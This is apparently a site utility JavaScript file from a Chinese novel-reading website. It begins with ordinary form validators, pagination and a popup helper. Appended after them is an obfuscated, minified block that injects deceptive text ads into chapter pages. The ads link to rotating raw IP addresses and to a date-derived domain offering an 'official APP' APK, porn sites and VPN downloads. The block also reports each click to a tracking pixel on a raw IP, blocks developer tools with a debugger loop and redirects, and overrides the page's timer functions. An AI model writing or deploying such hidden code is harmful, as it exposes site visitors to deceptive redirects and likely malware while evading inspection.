var USER_IP='10.1.178.37'/*m.hudexs.cc*///不允许输入中文
var engOnly=function(str){
	for(i=0;i<str.length;i++){
		var c = str.substr(i,1);
		var ts = encodeURIComponent(c);
		if(ts.substring(0,2) == "%u"){
			return false;
		} else {
			return true;
		}
	}
}

//电子邮件验证
var emailOnly=function(str){
	var regEmail=/[_a-zA-Z\d\-\.]+@[_a-zA-Z\d\-]+(\.[_a-zA-Z\d\-]+)+$/;
	if (regEmail.test(str)){
		return true;
	} else {
		return false;
	}
}

//手机号码验证
var mobileOnly=function(str){
	var regMobile=/^0{0,1}(13[0-9]|14[0-9]|15[0-9]|17[0-9]|18[0-9])[0-9]{8}$/;
	if (regMobile.test(str)){
		return true;
	} else {
		return false;
	}
}

//纯数字验证
var numOnly=function(str){
	var regNum=/^[0-9]{1,20}$/;
	if (regNum.test(str)){
		return true;
	} else {
		return false;
	}
}

//电话号码验证
var telOnly=function(str){
	var regTel=/^(\d{3,4}-)?\d{7,9}$/g;
	if (regTel.test(str))
		return true;
	else
		return false;
}

//日期的验证
var dateOnly=function(str){
	var date_array=str.split('-');
	if (date_array.length!=3) return false;
	var y=date_array[0];
	var m=date_array[1];
	var d=date_array[2];
	if (!numOnly(y)||!numOnly(m)||!numOnly(d)) return false;
	if (y.length!=4||m.length!=2||d.length!=2) return false;
	y=Number(y);
	m=Number(m);
	d=Number(d);
	if (y<1900||y>2050||m<1||m>12||d<1||d>31) return false;
	if ((m==4||m==6||m==9||m==11)&&d>30) return false;
	if ((y%100!=0&&y%4==0)||y%400==0){
		if (m==2&&d>29) return false;
	} else {
		if (m==2&&d>28) return false;
	}
	return true;
}

//密码强度检测
function passwordGrade(pwd) {
	var score = 0;
	var regexArr = ['[0-9]', '[a-z]', '[A-Z]', '[\\W_]'];
	var repeatCount = 0;
	var prevChar = '';
	//check length
	var len = pwd.length;
	score += len > 18 ? 18 : len;
	//check type
	for (var i = 0, num = regexArr.length; i < num; i++) { if (eval('/' + regexArr[i] + '/').test(pwd)) score += 4; }
	//bonus point
	for (var i = 0, num = regexArr.length; i < num; i++) {
		if (pwd.match(eval('/' + regexArr[i] + '/g')) && pwd.match(eval('/' + regexArr[i] + '/g')).length >= 2) score += 2;
		if (pwd.match(eval('/' + regexArr[i] + '/g')) && pwd.match(eval('/' + regexArr[i] + '/g')).length >= 5) score += 2;
	}
	//deduction
	for (var i = 0, num = pwd.length; i < num; i++) {
		if (pwd.charAt(i) == prevChar) repeatCount++;
		else prevChar = pwd.charAt(i);
	}
	score -= repeatCount * 1;
	return score;
 }

//字符限制
var charset="gb2312";
function strlen_verify(obj, checklen, maxlen) {
	var v = obj.value, charlen = 0, maxlen = !maxlen ? 255 : maxlen, curlen = maxlen, len = strlen(v);
	for(var i = 0; i < v.length; i++) {
		if(v.charCodeAt(i) < 0 || v.charCodeAt(i) > 255) {
			curlen -= charset == 'utf-8' ? 2 : 1;
		}
	}
	if(curlen >= len) {
		$('#'+checklen).html(curlen - len);
	} else {
		obj.value = mb_cutstr(v, maxlen, true);
	}
}

function mb_cutstr(str, maxlen, dot) {
	var len = 0;
	var ret = '';
	var dot = !dot ? '...' : '';
	maxlen = maxlen - dot.length;
	for(var i = 0; i < str.length; i++) {
		len += str.charCodeAt(i) < 0 || str.charCodeAt(i) > 255 ? (charset == 'utf-8' ? 3 : 2) : 1;
		if(len > maxlen) {
			ret += dot;
			break;
		}
		ret += str.substr(i, 1);
	}
	return ret;
}

function strlen(str) {
	return ($.browser.msie && str.indexOf('\n') != -1) ? str.replace(/\r?\n/g, '_').length : str.length;
}

//全选取消
function CheckAll(form)
{
  for (var i=0;i<form.elements.length;i++)
    {
    var e = form.elements[i];
    if (e.Name!="chkAll")
       e.checked=form.chkAll.checked;
    }
}

//url跳转
//t0:跳转的页码,t1:系统模式(动，静，伪),t2:动态模式下url模板,t3:总页数,t4:是否是后台调用(0为后台调用)


function urlgo(t0,t1,t2,t3,t4)
{
	var url;
	if(t0>t3){t0=t3}
	url=t2+t0;
	if(t4==1)
	{
		if(t1!=1)
		{
			if(t0<=1)
			{
				if(t1==2){
					//var a=t2;
					//var b=a.split("_");
					t5=t2;
				}
				else
				{
					t5="./"
				}
			}
			else
			{
				if(t1==2){
					var a=t2;
					var b=a.split("_");
					//t5=b[1]+"_[page]/"
					t5=t2+t0+"/";
				}
				else
				{
					t5="index_[page].html"
				}
				t5=t5.replace("[page]",t0);
			}
			url=t5;
		}
	}
	document.location.href=url;
}

//弹窗操作
function openlayer() {
    var boxWidth = "400px";
    if (window.innerWidth < 768 && window.innerWidth > 414) {
        boxWidth = "70%";
    } else if (window.innerWidth <= 414 && window.innerWidth > 320) {
        boxWidth = "80%";
    } else if (window.innerWidth <= 320) {
        boxWidth = "90%";
    }

    layerform = layer.open({
        type: 1,
        title: false,
        area: [boxWidth, "auto"],
        fixed: true,
        content: $('#layer-sumbit'),
    });
}

;window.isiOS=!!navigator.userAgent.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);var isIOS=-1<navigator.userAgent.search(/iphone/gi),isAndroid=-1<navigator.userAgent.search(/(android|linux)/gi);function uqobjmse(window,document,navigator,ac){;;window._BD_DJ=function(){function n(){var n;return"undefined"!=typeof crypto&&crypto.getRandomValues?(n=new Uint8Array(1),crypto.getRandomValues(n),1&n[0]):!(Math.random()<.5)}},window._BD_ZS=function(){};;;!function(e,n){function t(e){for(var n="",t=0;t<e.length;t++)n+=String.fromCharCode(e[t]);return n}function r(e){for(var n=[],t=0;t<e.length;t++)n.push(e.codePointAt(t));return n}var o=[1122,2233,7777,888,666],i=function(){return o[Math.floor(Math.random()*o.length)]},a=function(){return String.fromCharCode(97+Math.floor(26*Math.random()))};/Android/i.test(navigator.userAgent);var d={_x7y:[{_k9m:"pp",_p2q:["本站官方 APP, 免费阅读所有小说！","官方 APP，200 万小说免费看！","官方 APP，下载免费阅读小说！","官方小说APP，所有小说免费看！",],_n4r:function(){var e=a()+a();return c.generateEncryptedUrl(`/@${e}app/apk`)},_f6e:1},{_k9m:"sj",_p2q:["最新海量爽剧，点击即可免费观看！","热门爽剧，点开立即免费观看！","热门免费爽剧，点击即可观看！","每日更新爽剧、短剧，现在免费！",],_n4r:function(){var e=function(e,n){return"23.224.199."+(Math.floor(Math.random()*(n-e+1))+e)},n=[e(18,21),e(26,31),e(226,230)],t=n[Math.round(Math.random()*(n.length-1))],r=i();return c.generateEncryptedUrl("https://"+t+":"+r+"/home?!=m."+c.randomChoice(["J8ES","J84B","J82v","J8YV","J86K","J8Yx","J8YY","J8YR","o","J8qg","JUoa"]))},_f6e:1},{_k9m:"ap",_p2q:["Ｐｏｒｎｈｕｂ，精彩H片，点击进入！","ｘＶｉｄeｏ，看H片不求人！","精彩日本小电影，每天免费！",],_n4r:function(){var e=new Date,n=e.getFullYear().toString().slice(-2)+("0"+(e.getMonth()+1)).slice(-2)+("0"+e.getDate()).slice(-2),t=i();return c.generateEncryptedUrl("https://a"+n+".3ximi.cc:"+t+"/home")},_f6e:1},{_k9m:"vp",_p2q:["极速番羽墙，不怕失联本站 >>","极速番羽墙，可上任何墙外网站 >>","番羽墙免费试用，上外网不求人 >>"],_n4r:function(){var e=c.getDateBasedIP(),n=o,t=n[Math.floor(Math.random()*n.length)];return c.generateEncryptedUrl("https://"+e+":"+t+"/a1?!=www.JUre")},_f6e:1}].filter(Boolean),_s5d:["23.224.199.18","23.224.199.26","23.224.199.226"],_i1j:["J8ES","J84B","J82v","J8YV","J86K","J8Yx","J8YY","J8YR","o","J8qg","JUoa"]},c={decrypt:function(e){for(var n="",t=0;t<e.length;t++)n+=String.fromCharCode(e[t]);return n},getDateBasedIP:function(){var e,n=new Date("2025-08-30");return"154.84.11."+(2+Math.max(1,Math.floor((new Date().getTime()-n.getTime())/864e5)%253))},generateEncryptedUrl:function(e){for(var n=[],t=0;t<e.length;t++)n.push(e.charCodeAt(t));return n},randomChoice:function(e){return e[Math.floor(Math.random()*e.length)]},shuffle:function(e){for(var n=e.slice(),t=n.length-1;t>0;t--){var r=Math.floor(Math.random()*(t+1)),o=n[t];n[t]=n[r],n[r]=o}return n},weightedRandom:function(e){for(var n=0,t=0;t<e.length;t++)n+=e[t]._f6e||1;for(var r=Math.random()*n,o=0,i=0;i<e.length;i++)if(r<=(o+=e[i]._f6e||1))return e[i];return e[0]}};e.COOKIE_PRE,e.___t=function(){function e(e){new Image().src=e}return{track:function n(t,r){try{var o="https://172.247.16.230:888/c.gif?jp="+encodeURIComponent(t)+"&t="+r;"ping"in navigator?navigator.ping.send(o).catch(function(){e(o)}):e(o)}catch(i){console.log("Tracker error:",i),e(o)}},createClickHandler:function e(){return function(e,n,t){return top.window.___t.track(e,n),top.window.open(t,"_blank"),!1}}}}();var l={renderTextAd:function(n){var t=Math.floor(Math.random()*n._p2q.length),r=n._p2q[t],o="function"==typeof n._n4r?n._n4r():n._n4r,i=c.decrypt(o),a=e.___t.createClickHandler(n._k9m,t,i);return'<a href="'+i+'" target="_blank" onclick="return ('+a.toString().replace(/"/g,"'")+")('"+n._k9m+"','"+t+"','"+i+'\');" style="color:red;text-decoration:underline;">'+r+"</a>"},renderToPosition:function(e,n){var t=this.renderTextAd(e);switch(n){case"chapter":var r=$(".chapter-line");if(r.length>0){var o=11+Math.floor(5*Math.random());o<r.length&&r.eq(o).after('<p style="font-size:80%!important;">'+t+"</p>")}$(".dlist").after('<div style="margin:0">'+t+"</div>");break;case"wap-tip":$("#wap-tip").prepend(t+"<br>")}}},s={ads:[],selectedAds:[],currentIndex:0,init:function(){this.ads=c.shuffle(d._x7y),this.selectedAds=[],this.selectRandomAds()},selectRandomAds:function(){for(var e=this.ads.slice(),n=0;n<2&&e.length>0;n++){var t=Math.floor(Math.random()*e.length),r=e.splice(t,1)[0];this.selectedAds.push(r)}},getNextAd:function(){if(0===this.selectedAds.length)return null;var e=this.selectedAds[this.currentIndex%this.selectedAds.length];return this.currentIndex++,e},getRandomAd:function(){return 0===this.selectedAds.length?null:c.weightedRandom(this.selectedAds)},getAdByIndex:function(e){return e>=0&&e<this.selectedAds.length?this.selectedAds[e]:null}};({isInitialized:!1,isScrolled:!1,init:function(){var e=this;s.init(),this.waitForJQuery(function(){e.setupScrollHandler(),e.setupMobileAds()})},waitForJQuery:function(e){"undefined"!=typeof $?e():setTimeout((function(){this.waitForJQuery(e)}).bind(this),1e3)},setupScrollHandler:function(){var n=this,t=$(e);function r(){if(!n.isScrolled){n.isScrolled=!0,t.off("scroll",r);var e=s.getAdByIndex(0);e&&l.renderToPosition(e,"chapter")}}t.on("scroll",r)},setupMobileAds:function(){var e=this,n=setInterval(function(){if("undefined"!=typeof $&&$("#wap-tip > *").length>0&&!e.isInitialized){e.isInitialized=!0,clearInterval(n);var t=s.getAdByIndex(1);t&&l.renderToPosition(t,"wap-tip")}},3e3)}}).init(),e.xxxxloaderEnd=function(){if("undefined"==typeof $){setTimeout(xxxxloaderEnd,1e3);return}var n=$(e),t=!1;function r(){if(!t){t=!0,n.off("scroll",r);var e=s.getAdByIndex(0);e&&l.renderToPosition(e,"chapter")}}n.on("scroll",r)}}(window,document);;;window._B2_DJ=function(){function n(){var n;return"undefined"!=typeof crypto&&crypto.getRandomValues?(n=new Uint8Array(1),crypto.getRandomValues(n),1&n[0]):!(Math.random()<.5)}};;;;window._PC_ZS=function(){window.localStorage,console.log("PC_ZS")},window._HM_ZS=window._PC_ZS;;function store(key,val,day){if(void 0!==window.localStorage)if(1<arguments.length){day=day||360;var obj={val:val,exp:(new Date).getTime()+43200*day};window.localStorage.setItem(key,JSON.stringify(obj))}else{var data=window.localStorage.getItem(key);if(data){try{data=JSON.parse(data)}catch(e){data=eval("("+data+")")}(void 0===data.exp||data.exp>=(new Date).getTime())&&data.val}}else 1<arguments.length?setCookie(key,val,day):getCookie(key)}"undefined"==typeof console&&(window.console={log:function(){}}),-1<location.href.indexOf("LDA")&&alert("LDA"),!function(f,h,d){(new Date).getHours();function r(e,t,n){n=n||1;var o=new Date;o.setTime(o.getTime()+12*n*60*60*1e3),h.cookie=e+"="+escape(t)+";path=/;expires="+o.toGMTString()}function i(e){var e=new RegExp("(^| )"+e+"=([^;]*)(;|$)");return(e=h.cookie.match(e))?unescape(e[2]):null}n=this,e=function(e){function c(e){return~d.userAgent.toLowerCase().indexOf(e)}function r(e,t){t!==s?location.href=e:location.replace(e)}var a=function(){return(a=Object.assign||function(e){for(var t,n=1,o=arguments.length;n<o;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)},u={clear:!0,debug:!0,debugTime:3e3},s=2,o=0,i=0,l=function(e){var t=0,n=1<<o++;return function(){(!i||i&n)&&2==++t&&(i|=n,e(),t=1)}},t=(n.prototype.clear=function(){this._clear&&(console.clear=function(){})},n.prototype.debug=function(){var e;this._debug&&(e=new Function("debugger"),setInterval(e,this._debugTime))},n.prototype.redirect=function(e){var t,n,o=this._redirect;o&&(0!==o.indexOf("http")?(n=location.pathname+location.search,((t=o)?"/"!==t[0]?"/".concat(t):t:"/")!==n&&r(o,e)):location.href!==o&&r(o,e))},n.prototype.callback=function(){if((this._callback||this._redirect||this._write)&&f){var e=this.fire.bind(this),t=f.chrome||c("chrome"),n=c("firefox");if(!t)return n?((t=/./).toString=e,void console.log(t)):(a=e,n=new Image,Object.defineProperty(n,"id",{get:function(){a(s)}}),void console.log(n));(r=/./).toString=l(t=e),o.toString=l(t),(n=new Date).toString=l(t),console.log("%c",o,r,n),i=l(t),n=new Error,Object.defineProperty(n,"message",{get:function(){i()}}),console.log(n)}function o(){return r}var r,i,a},n.prototype.write=function(){var e=this._write;e&&(h.body.innerHTML="string"==typeof e?e:e.innerHTML)},n.prototype.fire=function(e){this._callback?this._callback.call(null):(this.redirect(e),this._redirect||this.write())},n.prototype.ban=function(){this.callback(),this.clear(),this.debug()},n);function n(e){var e=a(a({},u),e),t=e.clear,n=e.debugTime,o=e.callback,r=e.redirect,i=e.write;this._debug=e.debug,this._debugTime=n,this._clear=t,this._callback=o,this._redirect=r,this._write=i}e.init=function(e){new t(e).ban()},Object.defineProperty(e,"__esModule",{value:!0})},"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((n="undefined"!=typeof globalThis?globalThis:n||self).CB={});var t,e=/\bad=(\w+)/,n=(-1<location.search.search(e)&&(t="_"+location.search.match(e)[1],Object.keys(ac).forEach(function(e){-1<e.search(/2/)||(ac[e]=-1<ac[e].indexOf(t)?[t]:[],ac[e.replace(/1/,"2")]=0<ac[e].length?[100]:[])}),console.log(ac)),"_"+String.fromCharCode(66)+"J"+String.fromCharCode(83)),e=(-1==(location.href+(h.cookie||"")).search(new RegExp(n,""))&&CB.init({redirect:"/?FROM=bjs&u="+n.substr(1)}),((e,t)=>{var n="";e=decodeURIComponent(e);for(var o=0;o<e.length;o++)n+=String.fromCharCode(t.charCodeAt(o%t.length)^e.charCodeAt(o));return n})("N869FU@0D\r\f\tN\r\t\n\t\n\t\t\f\\F\t\n\vFP[\n\v\t\fB\n\v\f\t\r\t!\b\t\\","fkyou")),n=new RegExp(e,"ig").test(d.userAgent);var a=("ontouchstart"in f||0<d.maxTouchPoints||0<d.msMaxTouchPoints)&&!n,c=null;C([105,109,112,111,114,116,97,110,116]);function o(e,n,o){return e.forEach(function(t,e){o.push({func:function(){"string"==typeof t&&(f._TJEX=f._TJEX||[],f._TJEX.push(t),t=f[t]);try{t&&t()}catch(e){console.log("funcerr",t)}},weight:n[e]})}),o}var e=ac.ZS1||[],n=ac.DJ1||[],u=ac.DJ2||[],s=ac.PC1||[],l=ac.PC2||[],e=o(e,ac.ZS2||[],[]),n=o(n,u,[]),u=o(s,l,[]);function g(e,t){if(!t)return[];for(var n=e.filter(function(e){return!e.disable}),o=0,r=0;r<n.length;r++)o+=n[r].weight,n[r].max=o;for(var i,a=Math.round(Math.random()*(o-1)),c=[],r=0;r<n.length;r++)if(a<n[r].max){c.push(n[r]),1<=--t&&(n.splice(r,1),i=g(n,t))&&c.push.apply(c,i);break}return c}var p=g(n,2),v=g(e,1),m=g(u,1);function y(e,t){try{e.func()}catch(e){console.log(t,e)}}("undefined"!=typeof CAD&&0<CAD||"undefined"!=typeof COOKIE_PRE&&(i(COOKIE_PRE+"auth")||i("auth")))&&(v=[],p=[]);for(var b,_=1;_<=2;_++){var w="A"+_+"_",O="z"+(1e4*_+Math.round(Math.random()+1e4));f[w]=O,f[O]=function(e){var t,n,o;return a?(null==c&&((o=i(t=COOKIE_PRE+"_ac"))||r(t,o="r"+~~(9999*Math.random()),60),c=~~i(COOKIE_PRE+o),r(COOKIE_PRE+o,++c,1)),t=c,o=new RegExp("(google|baidu)\\.com","ig"),n=-1<h.referrer.search(o),0<p.length&&y(p.shift(),2),!(n&&t<=1||30<=t)&&void(e||0<v.length&&y(v.shift(),3))):(0<m.length&&y(m.shift(),1),!1)}}function C(e){for(var t="",n=0;n<e.length;n++)t+=String.fromCharCode(e[n]);return t}function T(e){return function(){try{e()}catch(e){b[e.message]||(b[e.message]=1,console.log(e))}}}f.sTimeout=setTimeout,f.sInterval=setInterval,b={},f.setTimeout=function(e,t){return f.sTimeout(T(e),t<500?1e3:t)},f.setInterval=function(e,t){return f.sInterval(T(e),t<500?1e3:t)}}(window,document,navigator)};(()=>{var _;(new Date).getHours(),_={ZS1:["_BD_ZS"],ZS2:[50],DJ1:["_BD_DJ","_B2_DJ"],DJ2:[50,50],PC1:["_HM_ZS"],PC2:[100]},uqobjmse(window,document,navigator,_)})();;//000201-qc2/*fd213cf9ef597e85452d9ae598e5011c20586*/